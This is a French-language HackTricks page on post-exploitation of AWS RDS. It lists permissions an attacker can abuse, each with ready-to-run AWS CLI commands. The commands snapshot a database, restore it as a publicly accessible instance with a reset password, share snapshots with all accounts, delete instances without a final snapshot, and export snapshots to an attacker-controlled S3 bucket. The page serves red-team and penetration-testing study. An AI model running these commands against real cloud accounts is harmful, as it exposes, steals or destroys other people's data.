AWS - RDS Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

RDS

Pour plus d'informations, consultez :

pageAWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

Si l'attaquant dispose des autorisations nécessaires, il pourrait rendre une base de données publiquement accessible en créant un instantané de la base de données, puis une base de données publiquement accessible à partir de l'instantané.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

Un attaquant avec ces autorisations pourrait créer un instantané d'une base de données et le rendre publiquement disponible. Ensuite, il pourrait simplement créer dans son propre compte une base de données à partir de cet instantané.

Si l'attaquant n'a pas le rds:CreateDBSnapshot, il pourrait quand même rendre d'autres instantanés créés publics.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

Impact potentiel : Accès à des informations sensibles ou actions non autorisées en utilisant des identifiants divulgués.

rds:DeleteDBInstance

Un attaquant avec ces autorisations peut faire du déni de service sur des instances RDS existantes.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

Impact potentiel: Suppression des instances RDS existantes et perte potentielle de données.

rds:StartExportTask

À faire : Test

Un attaquant avec cette autorisation peut exporter un instantané d'instance RDS vers un compartiment S3. Si l'attaquant contrôle le compartiment S3 de destination, il peut potentiellement accéder à des données sensibles dans l'instantané exporté.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Impact potentiel: Accès à des données sensibles dans le snapshot exporté.

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Dernière mise à jour